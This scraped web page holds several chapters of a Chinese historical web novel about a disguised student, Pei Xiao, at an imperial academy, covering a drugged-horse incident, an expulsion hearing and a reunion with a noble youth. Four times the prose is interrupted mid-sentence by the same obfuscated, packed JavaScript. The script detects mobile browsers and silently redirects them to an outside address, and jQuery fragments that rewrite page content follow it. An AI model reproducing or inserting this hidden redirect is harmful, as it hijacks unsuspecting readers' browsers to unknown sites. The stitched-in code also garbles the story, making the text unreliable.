;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799998|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?而且他的课艺就算还在,也应该和他们的一样,错的也一样,会被宗先生一起斥责的,怎么他不仅没被骂还被表扬了。
“这厮可能是发现他的课艺被我们丢了,又做了一份。”虞砚低声与夏清泽嘀咕道。
夏清泽疑惑地回头去看裴逍,裴逍淡淡觑了他一眼。
“但是他第一次的做错了,第二次却是对的。可能不是有意,但也有可能,他第一次,就是故意做错了某处,让我们都抄错了。先生看我们几个错的都一样,便会发现我们互相抄袭,从而责骂我们。但他却不受影响。”
夏清泽小声跟虞砚分析自己的猜测,虞砚听完,八字眉都皱了起来。
下了课,宗先生一离开,夏清泽、虞砚便气势汹汹地冲到裴逍桌前责问,“你的课艺怎么回事?”
裴逍抬头看他,反唇相讥,“怎么,我的课艺应该有什么事吗?比如被泼墨、撕毁、还是丢了?”
裴逍之前留在课室里让几个纨绔抄得那份课艺,倒也不是故意做错的,如果不是他们丢了她的,她重写了一份交上去,这次被骂的也还有她。只是那几人后来又使坏心眼,才反而让她脱身了。
夏清泽怒骂,“那还不是因为你替那残废王爷出头羞辱我,我们才丢掉了你的课艺?而你一开始就故意做错使坏想让我们被先生骂,再自己交一份无误的,真是阴险。”
裴逍还未开口,那边夏慕卿悠悠道,“你要不要听听自己在说什么?如果裴逍之前做的就是错的,那你们不丢他的课艺,那今日课上他不也会被骂吗?还不是因为你们丢了他的课艺,他才脱开干系。这叫什么?”他拿起折扇朝夏清泽点了点,接着道,“这叫,害人终害己。”说完,他呵呵笑了起来。
“我才听明白,原来是这么回事。那裴逍借你们抄作业,你们反而丢了他的,这就不阴险了?”百里摇光站了起来,双手抱臂说道。
“你们!”夏清泽愈加恼怒,那吊眼似乎也更上扬了,他指着裴逍几人,本想再骂些什么,却一时语塞,最后瞪着裴逍撂下一句狠话,“你等着”,带了几个纨绔小弟扬长而去。
还坐在前排的林致远一脸好笑地摇了摇头,起身走了。
“他们可能会再为难你。”祁青阳一脸担忧地看着裴逍。
“没事,我可以应对。”裴逍淡淡回应。
·
转眼到了第二次骑射课,安先生教授驭马,因骑马是京中公子们很多都会的,便在讲了骑马的动作要领后,让少年们自己在马厩里选马来练习。
裴逍走到一匹看起来颇温顺的白马面前,正要翻身上马,突然被人一把扯住了缰绳。
“这马是我的!”虞砚两手拽紧了缰绳要抢夺,耸着八字眉,瞪着小眼睛,那模样,还有几分滑稽。看得裴逍心内无奈,便松开了手。
虞砚得意地扬着八字眉,拉走了白马。
裴逍轻嗤了一声,由他去了,而后继续在马厩中找起马来。
一匹普普通通的枣红色的马,进入了她的视野。那马附近没人,裴逍径自走过去准备骑那匹。离马还有几步的距离,突然一个少年从她身边掠过去,腾地跃上了那马。
11. 第11章
一连几次,裴逍选的马,都被人捷足先登。
最后就剩了一匹通体黑色的马没被人选,裴逍只得牵去。那马看起来不是很活跃跳脱,颇为驯顺,倒也不错。
裴逍牵着马走出马厩,见旁边马厩里,只剩了一个学子在里面。
那学子正费力拽着一匹马要出来。而那马却非常桀骜,似与人较劲一般,就是不肯往外走。少年看着纤瘦,但似乎很有一把力气,拉着缰绳硬是将那马向外拖动起来。
只是这么做过于费力,他又担心伤着书院中的马,动作几番都没出了那马厩。他索性丢开缰绳,指着马质问起来,“你怎么回事?啊?马祖宗?”
那马看了他一眼,便扭向了别处,一副油盐不进的样子。
裴逍抿了抿唇,忍住笑意,牵了马向祁青阳走去。
祁青阳听到声响回头,看到是裴逍,无奈道,“这马,好不听话。”
那马通体雪白,看起来很好看,但性子似是很桀骜难驯。
“你之前骑过马吗?”裴逍问道。
“兄长在的时候,教我骑过几次,不是很熟练,还摔过一次。”
“那你骑我这匹吧,这匹温驯一些。”裴逍心想,祁青阳这匹马估计是因为性子比较烈,不好驾驭,才被挑剩了给他的。自己那匹虽然也是被挑剩了的,但到底要比祁青阳这匹温驯。
“那你怎么办?”
“我骑术尚可,不必担心。”
“真的?”祁青阳担心,裴逍是为了让他接受换马故意夸大自己的骑术,又询问道。
裴逍点了点头,“你把缰绳给我,看我驯它。”
祁青阳将白马的缰绳给了裴逍。
裴逍盯着那匹桀骜的白马看了片刻,伸手轻抚了马背一阵,随后收手牵着往马厩外走,那马竟然真的没再较劲,跟着她往外走了。
“厉害啊”,祁青阳惊奇赞道,“现在我相信你肯定是擅长骑马了。”
他便牵着那匹黑马跟了出来。那匹黑马确实看着更加驯顺,不是很活跃,他想可能是因为更加年老一点吧。
二人走到马场边上,学子们已经在马场上活动起来,确实大部分看起来虽不能说是骑术多精通,但都还比较自如。
裴逍看着祁青阳上了那黑马,骑行着走了起来,虽然慢,但是还算平稳。她从练习射箭的箭靶上取了箭囊和弓箭背在身后,随即翻身上了白马,蹬着马鞍,握着缰绳,双腿一夹马腹,马便跑动了起来。
行了几步,裴逍轻拍马臀道,“走,我们冲”。那马就像是听懂了她说话一般,速度加快,驰骋了起来。
夏清泽几人慢悠悠骑在边上,见裴逍骑着匹白马呼啸而过,纷纷奇怪,“她骑得怎么不是那匹黑马?那黑马去哪了?”
几人在场上逡巡扫视了一番,见有好几个学子骑的都是黑马,离得远也分不清是哪一匹。
“不过那匹白马好像是很烈的,好几个人见那马长得神俊去拽它,它都没反应。裴逍竟然能驾驭那马。”严铮看着远处的裴逍喃喃道。
这时,一处突然传来惊呼。
几人循声望去,只见一匹黑马在快速冲跑。那马上的少年似乎控制不了马,马横冲直撞,有两个来不及躲开的少年被撞下了马。
其中一个幸运一些,当时百里摇光就在旁边,飞身去接住了,那少年才没落马受伤。
“老大,应该就是那匹黑马!”虞砚指着那马跟夏清泽说道。
“马上那人根本不是裴逍!走,过去看看。”夏清泽说道,几个少年驾马往那边靠近,才行了几步,便望见那黑马直冲出了马场。
紧接着,一少年驾着白马冲出去,后面又有两骑先后跟着追了出去。
“不好,怕是要闹大了。”虞砚喃喃道。
夏清泽听到虞砚这么说,心下也是一沉,跟着也驾马追了出去。
·
裴逍驾着白马紧紧追赶祁青阳,见他骑的那匹之前温驯不太活跃的马,此刻却像发了狂一般疾冲,转瞬间已经冲出了书院门,冲到了街上。
路上行人纷纷躲避,而祁青阳在马上也被甩得东倒西晃。
裴逍在后大喊,“祁青阳,抓紧缰绳,伏低身子坐稳”。
前面祁青阳听到照做,渐渐稳住身形,只是那发狂的黑马根本停不下来。
眼看着行人商铺逐渐多起来,快要冲进闹市区。
裴逍从背后箭囊里抽出一支箭,用箭尖在座下白马臀部刺了一下。白马吃痛,加速冲起来,与前面黑马的距离逐渐缩短。
在追上黑马并驾的时候,裴逍迅速纵身跃到了黑马之上,同时握住了两马的缰绳。
·
“好飒啊”,旁边酒楼上,一个坐在窗边的少年正看到这幕,忍不住惊叹。他急站起身,盯着那青衣少年驭两马飞奔过去,喃喃道“那人好像是——”。
说着,他蹭地往楼下跑去。身后仆从喊着,“世子,世子”,也追了出去。
·
在裴逍和祁青阳之后,驾马追逐的百里摇光,看到前面裴逍这大胆的举动,也着实为他捏了把汗。他“吁”了一声停住马,将缰绳递给后面跟上来的夏慕卿,道“我去追!”
说完,也未等夏慕卿回应,他起身在马上一点,便施展轻功跃到了旁边房舍之上。
他在屋顶飞檐走壁一阵,追上了裴逍和祁青阳,随后纵身跃上了裴逍之前骑的白马,还没坐定,便喊“缰绳给我”。
裴逍见百里摇光跃上旁边白马,当即明白了过来,将缰绳抛给了他。
裴逍便专心控制发狂的黑马减速。她用一只手撑马脖,另一只手握紧缰绳,上身后仰多次,马匹速度逐渐减了下来。
裴逍控制马转向人少的方向,行至一处空阔地。
她手握缰绳,控马转圈并逐渐缩小圈子,同时不时抚摸马头,马终于缓缓停下。
裴逍立刻跳下马,旋即伸手扶祁青阳。在祁青阳下马的瞬间,白马轰然倒地。祁青阳摔了下来,裴逍搀扶着他两人一起跌倒。
幸而马已停下,裴逍又是站在地面接应,两人都没什么大碍。
“可有受伤?”百里摇光追过来问道。夏慕卿随后也赶了过来。
“磕碰了一下,小伤而已”,祁青阳道。裴逍摇了摇头。
安先生也赶来了,见几位学生已控制住马,没有大碍,便吩咐随从检查那发狂的黑马。
裴逍走近几步
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799999|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问道,“马有何异样?”
那随从看了看她,又看向安先生,回报道,“王爷,那马被人喂了引诱发狂的药物。”
众人听闻都沉默了。安先生脸色沉了下来。
这时,裴逍见旁边围观人群里,有几个人在往人群外挤。裴逍定睛一看,认出了其中的夏清泽。那几人似乎想要偷偷溜掉,裴逍扬声喊,“夏清泽,是不是你做的?”
夏清泽闻声停住脚步,没有说话。他旁边的几个少年也都没有吭声。
此情此景,众人心中皆了然。
裴逍向先生叉手揖礼道,“先生,夏清泽几人给马匹喂药,致使马匹发狂,伤害同窗,冲上街市,惊扰民众。如不是学生几人尽力控制住马匹,后果不堪设想。学生请求先生严查此事,追究始作俑者之责。”
安先生觑了那几个人一眼,敛容肃穆道,“在本王的骑射课上动手脚害人,此事本王必严查,并如实报给监丞和祭酒。”话毕,他吩咐随从将那黑马送回。
安先生此时的自称,提醒了裴逍,夏清泽是平王世子,也是安王的皇侄,那他还会不会对夏清泽严查,就另说了。
但裴逍此时也没有什么办法,只能先按下心中疑虑,等待书院和先生们的处理结果。她突然想起被自己用箭头刺伤的白马,说道,“等一等,还有一匹马也受伤了。”
她扭头看去,见那白马由百里摇光牵着。百里摇光正轻抚着马背安抚,只听他说道,“这次你受委屈了,我以后找些好吃的慰劳你。”
裴逍心内好笑,面上仍冷淡道,“这马让先生带回去吧。”
裴逍将马的缰绳交到了安王的随从手中,解释道,“先生,方才为了追上发狂的黑马,我用箭尖刺了这匹白马,还请一并给它医治。”
安王示意随从接手白马,跟裴逍叮嘱道,“还好你机警,才没有酿成大祸。不过此举也太危险了!以后就算要救人,自己也要小心,不可如此冒险!”
裴逍点了点头。
“我先回国子学看顾之前被撞下马受伤的学生,你们随后骑上马也速回。”
安王走后,裴逍几人也要打道回去。他们四个人只剩了百里摇光和夏慕卿骑来的两匹马。
夏慕卿很自然地向祁青阳伸出手,祁青阳看向裴逍。
裴逍道,“你先回医舍看伤吧,那马本是用来设计我的,你是被我连累。”
“可你也是因为帮我,才被他们盯上的。”祁青阳一脸愧疚。
“行了!”百里摇光驾马走到近前说道,“你们别内疚来内疚去的,都上马,赶紧回去得了。”
裴逍看向祁青阳,“先回吧。”
祁青阳点了点头,搭着夏慕卿的手臂跃上了马。夏慕卿催动马匹,行了起来。
“上马!”百里摇光俯身伸出手臂。
裴逍凝视百里摇光半晌,抛下句“我走一走,你先回”,转身当街步行起来。
百里摇光愤愤收回手,骂道,“真是有病!”说完,他纵马从裴逍身边驰过。
裴逍轻嗤了一声,凭着记忆朝国子学方向徐徐走去。
她正走着,突然有人从后面拽住了她的衣袖。
“我可找到你了!”
12. 第12章
裴逍回过头,见一少年,身着浅黄色锦衣,唇红齿白,眼睛圆亮,确实有些眼熟。但裴逍一时也想不起来自己在哪识得这贵公子的。
她正想着,只听那少年兴奋地说,“一年前,在雁城外的树林里,是你带着我逃命的。还记得吗?”
是他啊。裴逍想起来了。
一年前救这人那日,正是难凉寨被围剿之时,若不是为了救他,说不定她还来得及回去救一两个寨中人。就算救不了,也能跟他们一起抗敌,一起赴死。不至于现在孤身一人,无亲无友。
如今见到他,裴逍不由地心中有气,但想到这人兴许与难凉寨被剿灭有关,强行忍住怒气,问道,“你到底是什么身份?为什么会有人追杀你?”
裴逍这话仿佛惊了那少年,他杏眸闪了一下,低了头轻声道,“我是温国公嫡孙、先皇后外甥。我,我也不知为何会有人追杀。”
“你也不知道?”裴逍声音提高,隐含着怒意。
那少年又低了头。
裴逍见问不出什么,转身要走,那少年又拽住裴逍的衣袖,“我家中一直在查,一定会查到的!”
裴逍轻嗤了一声,怒甩衣袖,不曾想她的衣袖被那少年紧紧拽着,一时竟未甩开。拉扯之际,裴逍突然听到百里摇光的声音,“你是什么人?!”
裴逍回头看去,见百里摇光策马行了回来,一手举鞭指着裴逍身旁的少年高声质问。
那少年圆瞪杏眸,反问道,“你又是什么人?”
裴逍趁他分神,多使了几分力,甩开衣袖径直向国子学方向大步走去。
百里摇光驾马从她身侧又驶了回去,拦住了那少年。
“青天白日的,你凭什么拉着人家不让走?”百里摇光的声音在裴逍身后响起。
随后是那少年的声音,“跟你没关系!”
“他是我同窗,怎么没关系......”
走远一段,后面嘚嘚马蹄声跟上来,再远一点,还有车马行进的动静,裴逍叹了口气。那少年身份果然不一般,只是,这身份虽然显赫,但是会惹得人不惜杀害一个寨子上下百余人,也要追杀吗?
裴逍步入国子学,百里摇光驾马跟来,看着裴逍说道,“那人的马车一直跟到了门口。”
裴逍回头看去,见那少年跳下马车,冲她笑着招了招手。
“不必理会。”裴逍淡淡说了一句,扭回头向国子学深处走去。
国子学大门外,那少年抬头看着高悬的牌匾。
“国子学”,他喃喃念出上面贴金的三个大字,若有所思。
·
发生这么一场意外,骑射课提早下了课,夏慕卿先送祁青阳去了医舍。
裴逍赶过去的时候,正碰上夏清泽几个纨绔垂头丧气地走出来。
那虞砚先看到裴逍,戳了戳夏清泽,夏清泽立即昂起头,一改方才蔫蔫之态,瞅了裴逍一眼,阔步离去。身后几个纨绔也同他几乎一般。
裴逍冷冷看着,不予理会,径直进了医舍。
医舍中的医师,正在给祁青阳身上的伤处涂药。
一个学子方才被惊马撞下,脚受了伤,也在医舍,正跟旁边的祁青阳和夏慕卿说道,“没想到平王世子竟然会来给我道歉。”
裴逍抬眼看向那学子。夏慕卿会来道歉倒是让她意外。
“道歉能让你的脚不疼吗?”夏慕卿坐在一旁悠悠道。
那学子悻悻缄了口。
祁青阳轻笑了声。
夏慕卿道,“你笑什么,人家又没给你道歉。”
祁青阳忙捂住口,忍住笑意。
裴逍走近那学子,施了一礼说道,“此事我也有责任,夏清泽是针对我设计的,我没看出那马有问题,换给祁青阳骑了,这才冲撞了你,又连累了祁青阳。实在对不住。”
那学子愣怔了一下,忙道,“没事,伤得不重。你不用太自责的。”
“裴逍当然不用自责!”百里摇光大步走了进来,接着道,“明明就是夏清泽那几个人使坏害人,裴逍也是受害者好吧。”
“就是啊!幸亏这次是我家老头子的课,若是换作其他先生,只怕会大事化小、小事化了。纵使你们吃了苦头,那始作俑者也毫发无伤。”夏慕卿道。
“你家老头子?”祁青阳颇为不解。
百里摇光笑着解释,“就是他父王,骑射课安先生就是安王殿下。”
祁青阳入学前对国子学做过一些了解,这些情况还是知道的,他只是对夏慕卿称安王为“老头子”这种叫法不能理解。但这不便细问,他只轻笑着回了声,“原来如此。”
旁边那学子却被勾起了好奇心,开口问道,“世子,我一直不明白。康王殿下双腿有疾,在国子学里做先生也就罢了。安王殿下作为先帝长子,堂堂亲王,又正值壮年,怎么会在国子学里教骑射?”
夏慕卿垂了眸,折扇一下一下地在另一手上轻敲。
百里摇光看了他一眼,跟那学子说道,“先帝当年驾崩前立下遗诏,所有亲王不得参政和领兵,除此之外,就自己想做什么做什么了。安王殿下昔日领兵驻守西北边境,骑射武艺精湛,能来国子学教骑射,是我们的荣幸。”
裴逍此前也听说过先帝当年诏令之事,没想到竟执行地如此彻底。
那学子还待要说什么,祁青阳朝他使了使眼色。那学子方才住了口,后知后觉意识到自己问得唐突冒失,幸而是安王世子不太计较,若是换做平王世子怕是不好揭过。他见气氛不好,想缓和一下,便又说道,“要我说,这都是好的呢。安王和康王在国子学里做先生,也是培养人才,做好事。那平王殿下的行径,先帝若还活着,怕才要给气坏了。”
“他做什么了?”百里摇光才回京不久,并不知晓,随口问道。
那学子双手拽着椅子,用没伤的那条腿支撑,将椅子挪近坐下,低声道,“平王殿下啊,是京中有名的纨绔,吃喝嫖赌,眠花宿柳,府中姬妾据说有好几百人。这些姬妾有他手下从各地秦楼楚馆搜罗回来的,有旁人送的,也有他看上别人家的姬妾丫鬟使各种手段或求或换来的。你们说荒唐不荒唐?”
“何止是荒唐!”百里摇光幼时便跟从祖父、父兄在边境从军,百里老将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800000|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军部下军纪严明,军队里环境又质朴简单,何曾听闻过这种事情?他气愤呵斥一声,正要再骂一番,见夏慕卿沉默不语,想到平王是他皇叔,他听到这些恐怕心里也不好受,便住了口。
裴逍却在想,难怪夏清泽是这么个样子,父亲尚且如此,那夏清泽这样也不奇怪了。
·
二月初七,第一旬第七日,礼乐课。
裴逍到课室时,见那几个纨绔看到她,眼神躲闪,难得地老老实实坐在位子上。
夏慕卿经过夏清泽桌案前,轻轻扣了几下桌面,悠悠提醒,“道歉,别忘了”。
夏清泽哼了一声,没有回嘴。
康王被推了进来,夏慕卿见夏清泽还是没动静,在后面小声说道,“女学跪喊臭流氓”。
周边听到的学子“嗤嗤”低声笑了起来。
康王疑惑地看向台下。
夏清泽攥了攥拳头,腾地一下站起,原本坐着的凳子,被他突然莽撞的动作带得向后倒在了地上,发出很大一声响。
所有人的目光都聚焦到夏清泽身上。
“咳。”夏清泽梗着脖子,语气僵硬,对着台上的康王说道,“学生给时先生赔不是,上次言语冒犯,是学生的不对。”
课室里静得出奇。
康王怔了一刻,显是没想到夏清泽能这么做,他看了裴逍一眼。
裴逍淡淡回看康王,心中思索着,这夏清泽,倒也算言出必行。
康王似乎大致明白了怎么回事,笑着说,“无妨,坐下吧”。
夏清泽又猛地坐下,轻呼了口气。
整堂课,他都老老实实地坐在那,没有玩蛐蛐,也没有睡觉。
礼乐课快结束时,学子们突然发现门口来了陆祭酒、监丞、阮先生三位。
钟声响,康王宣布下课。陆祭酒便一脸严肃,当先迈步进来,在前面站定。
他在堂下扫视了一番,目光定在了夏清泽身上,高声道,“夏清泽,你如此顽劣,对得起先帝吗?”
学子们从未见过陆祭酒这么严肃的样子,纷纷秉息静坐,不敢造次。
夏清泽猜到陆祭酒今日是来兴师问罪的,想必昨日针对裴逍,结果惊马伤了人,还冲到街市上的事情,祭酒都知道了。他默不作声地站了起来。
“给马下药害同窗!到底在哪里学得这么恶毒?”陆祭酒声音威严,他是当世大儒,又是朝廷肱骨老臣,便是对当今圣上,他也是可以训诫的。夏清泽不敢辩驳。
“昨日马匹发狂,有两个乙班的学生被撞下了马,如今一人告疾在家养伤。这次是侥幸,他们的伤不重,倘若是致残致死,你怎么对得起他们?”
“还有,马匹冲出国子学,冲到街市中,惊扰百姓,若不是其他几位学子及时拦阻,怕是还不知道要伤多少人?!”
“你身为平王世子、圣上皇侄,却不知作表率,反而恃宠而骄,仗势欺凌同窗,枉顾他人性命!”
陆祭酒一番陈词,说得夏清泽头越来越低。
陆祭酒背过身,语气沉沉道,“你且去吧,这国子学,是容不下你了。”
13. 第13章
夏清泽猛地抬头看向陆祭酒,神情错愕。
他没想到会这么严重,他只是想吓唬吓唬裴逍那个新来的学子,让他顺从听话而已,并没有想害人。
可是,这些后果确实是因他而起,虽然他在国子学也不怎么好好读书,但是这里有他的伙伴,他不想离开。
而且因犯错被逐出国子学,传出去,他会沦为京中笑柄不说,最让他忧心的,是传到父王的耳中。尽管父王对他向来宽和纵容,但是他却不想让父王因自己而蒙羞。
何监丞在旁,委婉说道,“那日马发狂冲到闹市,当街很多官民都看到了,而且不知道怎么传的,圣上也已经知道了,下令要严查此事。”
堂下学子大多是官宦及宗室子弟,听监丞之言,迅速明白过来,原来是因为圣上施压,所以才会这么快调查处理这件事。
监丞还待要说,陆祭酒转回身,出言制止,“何监丞,不是圣上下令,难道此事就不严查了吗?此事影响恶劣,国子学绝不姑息!”
“先生”,虞砚突然站起来,咬了下唇,大声喊道,“夏清泽为难裴逍的那些点子都是我出的,罪魁祸首是我,被赶出国子学的人应该是我。”
“此事我们都有参与,不是夏清泽一人所为,也不是虞砚。要赶出去,把我们一起都赶出去好了。”严铮也站了起来。
话音刚落,常跟在夏清泽身边的其他几个学子也都站了起来。
“对,我们一起做的!”
“要走一起走——”
“闭嘴。”夏清泽出声打断了那几个学子,接着向台上陆祭酒恭敬说道,“先生,此事我为主谋,其他人是受我胁迫才做的,我一人承担。”
那几个学子还欲再求情,被夏清泽眼神警示噤声。
裴逍坐在最后,见这几个人一番情状,倒是对他们几个有些刮目相看。
康王还未离开课室,在一旁静观半晌,此时方才开口。
“陆祭酒,此事本王作为清泽的叔父,管教不到位也有责任。虽其行为恶劣,但经此一事,想必会痛改前非,不如给他一次改过自新的机会。”
陆祭酒听闻,未有言语,背身踱步,似在考虑。
裴逍心中思索,这几个纨绔还算讲义气,倒不是全然无可救药。昨日下药惊马一事严重,但想来他们当时应该是想让她出丑、吃点苦头,也没想弄出这么大动静,毕竟伤到其他人,尤其在城中传开,无论是在国子学还是他们家中,都免不了要被责罚。
如果这次将他们赶出国子学,一则,这几人身份尊贵,因为和她发生冲突被赶出国子学,不光这几个人,他们家中怕是也会记恨裴逍,裴逍在京中孤身无依,还要为家人昭雪,得罪他们有害无益。二则,这几个人在国子学中,好歹要学些礼法,受些制约,倘若被赶出去,在外没有约束,招猫逗狗的,怕是更不学好,将来为祸百姓更是不妙。
思及此,裴逍站起躬身行了一礼,道“先生,夏清泽所犯之事,性质恶劣没错,不过好在没有造成太严重的后果,学生建议这次可以酌情从轻,给他一次机会。”
夏清泽闻此,双眼蓦地睁大,回头看向裴逍,一脸不可置信。
课室内学子们也纷纷露出惊讶神情。旁边百里摇光吸了口气,双臂交叠抱在胸前。
陆祭酒在堂前,将学子们的反应收归眼底,心下了然。他摸着胡须,徐徐开口,“据我所知,他做这件事,就是为了为难你。”
“你为何替他求情啊?”
裴逍悠悠说道,“回先生,昔有春秋楚庄王,即位三年不理朝政、日夜为乐,得良臣苦谏,愤而改过,治国兴邦,问鼎中原。又有三国周处,知自己与大蛟、白额虎同列为乡邻三害,而改过自新,终为一代良将名臣。”
“《左传·宣公二年》有言,‘人谁无过?过而能改,善莫大焉’。”
“孔圣人曾说,‘过,则勿惮改,过而不改,是谓过矣’。”
“前朝韩昌黎《五箴》有语,‘人患不知其过,既知之,不能改,是无勇也’。”
“故学生以为,改过自新远难于执迷不悟。从某种意义上来说,学生其实也不是在求情。”
裴逍说完,听到旁边百里摇光轻声嘀咕,“我就没见你说过这么多话!”
裴逍嘴角轻轻扯了一下。
隔了过道另一侧坐的祁青阳,看向裴逍,笑着点了点头以示赞同。
他旁边夏慕卿一根手指在桌案上,一下一下漫不经心地轻敲着。
“此人实有几分才学!”林致远坐在首排,心中暗自赞叹。裴逍这一大通言论,引经据典,入情入理,怕是陆祭酒要被她说动了。他抬眼看去,陆祭酒捋着胡子点了点头,果然也是颇为赞赏。站在门口处的阮先生,也嘴角上扬,露出了欣慰的神情。
“此外,学生以为,可以给夏清泽改过自新的机会,但也需要加以约束。”裴逍接着说道,“如果他再欺凌同窗,无论是采取武力伤害,还是言语辱骂,或者其他什么手段,那么都必须离开国子学!”
学子们异常安静,有些学子平时受过他们几个气的,此时心里着实畅快。
“好。夏清泽,既然裴逍作为受害学子愿意替你求情,那书院可以再给你一次机会。”陆祭酒看向夏清泽,脸色又严肃起来。“你是选择现在就离开国子学,还是改过自新绝不再犯?”
夏清泽低着头沉默了片刻,低声道,“学生愿改。”
“好。”陆祭酒应道,“那此次不将你逐出书院,但责罚不可免。罚你抄《论语》、《礼记》一百遍,并于一个月内每晚到慎思堂跪着思过一个时辰,德行分数扣十分。另外,最重要的是,方才裴逍所讲的禁忌,你若再犯,便是请圣上来说情,我也定要将你赶出去!”
这责罚属实也不轻,但比起逐出书院来,这些都好说。夏清泽躬身道,“谢先生,学生认罚。”
陆祭酒闻言点了点头。
虞砚几人如释重负,互相庆幸张望。
众学子也都松了口气。裴逍也坐了下来。
却见冯祭酒仍未离开,反而高声道,“裴逍,夏清泽的处罚已定,那你自己违反国子学规谏,带酒在院中,如何处罚?”
百里摇光霍然抬头看向冯祭酒,坐直了身。
裴逍心中一惊,果然来了?
沐浴被扰那夜她曾见人从她斋舍里偷偷跑出,看来是那人将酒瓶带走,交给了陆祭酒。会这么做的无非就是那几个人。
裴逍斜看向虞砚,果见他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800001|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将头埋得低低的,不敢看她的样子。夏清泽坐在虞砚旁边,他看着裴逍,神色复杂,眼中似有歉意。
裴逍缓慢起身,正打算开口,前面的夏清泽突然站起道,“先生,那酒是我让仆从从外面买来,故意放到裴逍房间里,诬陷他的。”
裴逍讶异。夏清泽竟然替她遮掩了。
“还算有点良心。”边上百里摇光小声道。
“哦?是你做的?”陆祭酒目光犀利扫向夏清泽。
夏清泽垂眸,硬着头皮道,“是,先生。学生知错,听凭责罚。”
“那就每日思过时间再加半个时辰!再有下次,决不轻饶!”陆祭酒说着扫视众学子道,“其他人也要引以为戒!”
说完,陆祭酒带着监丞、阮先生走了。
学子们这才放松下来,闹哄哄地散开。
裴逍右手轻触了下左小臂,那上面有她自己划的伤口。此前,她发现酒瓶不见,便划了伤口作为应对之法,一旦被发现便解释自己是因为受了伤用的。
百里摇光靠近裴逍低声道,“那酒的事,可不是我说的!”
裴逍知道不是他,没说什么,起身往外走。
经过夏清泽和虞砚的座位时,夏清泽突然站起,看着裴逍低声道,“你给我求情,我也给你掩饰了。咱们,扯平了!”
裴逍侧身看向他,夏清泽抬着下巴,仍是一脸倨傲的样子,但他眼神闪动,显示了他并不像看起来的那么镇定、无所谓。
裴逍淡淡扫了他一眼,径自走了。
而夏清泽看着裴逍离开的背影,久久没有回神。
·
这日午后,裴逍去了典籍楼,温书看书。
此一旬六门课程都已上完两次,午后便不再授课,学子们可以自行温书,准备后两日的旬考。旬考完,便是一日的旬假。
没过多久,祁青阳也来了。
他见裴逍桌案上放了本《国子学历届学子优秀诗文集》,便借过去看。
裴逍看书倦了,侧头见祁青阳愣愣地盯着那诗文集,许久也没翻页。
“原来你们在这啊。”夏慕卿上了楼,看见裴逍和祁青阳招呼道。百里摇光跟在他后面也上了楼。
祁青阳回过身,笑着道,“是啊,在温书。”
夏慕卿走到他身边,看了眼他手中的书。“是这本诗文集啊,里面有些诗文确实不错。这篇祁彦辰作的文章,我也很喜欢。”
“嗯,写得很好。”祁青阳应道。
夏慕卿拣了卷地理志,坐下胡天海地地看起来。百里摇光倒是在复习功课,可能因为之前在边境随军,学业上略有落后。
·
月色笼罩,典籍楼里的院工喊人离开。
几人一道回斋舍,路过慎思堂,见夏清泽还在里面跪着。
不过现下无人看着,夏清泽便略微侧坐着偷懒,虞砚和其他几个小弟也在里头陪着,瞌睡地东倒西歪。
“虞砚那几个,没想到还有些义气。”百里摇光说了一句,祁青阳和夏慕卿都笑了起来。裴逍看了看,没有言语,但心里也觉得给夏清泽求情,似乎没有做错。
几人继续往斋舍走,夏慕卿突然问起,“马上就是旬假了,你们有什么安排吗?”
14. 第14章
国子学中每上、中、下三旬的最后一日照例放一天旬假。旬假日,国子学是开放的,学子们可以归家,也可以外出。
祁青阳道,“我家在汴州,肯定是回不去了,旬假书院里暂时也不需要我做工,那我多半会在书院里看书。”
“那多无聊!现在时节这么好,又好不容易到假期了,何必要闷在书院里?”夏慕卿拿折扇在祁青阳肩上点了点。
“裴逍,你有什么安排?”百里摇光突然问。
裴逍来自北境的雁城,离京师长安有千里之遥,没有两月的假期,她是不可能回去的。更遑论,她已经没有家了。
裴逍心内自嘲,只淡淡回了句,“没安排。”
“那不如这旬假一起到京中逛逛吧,让夏慕卿带我们去。说起来游玩,这厮最在行了。”百里摇光道。
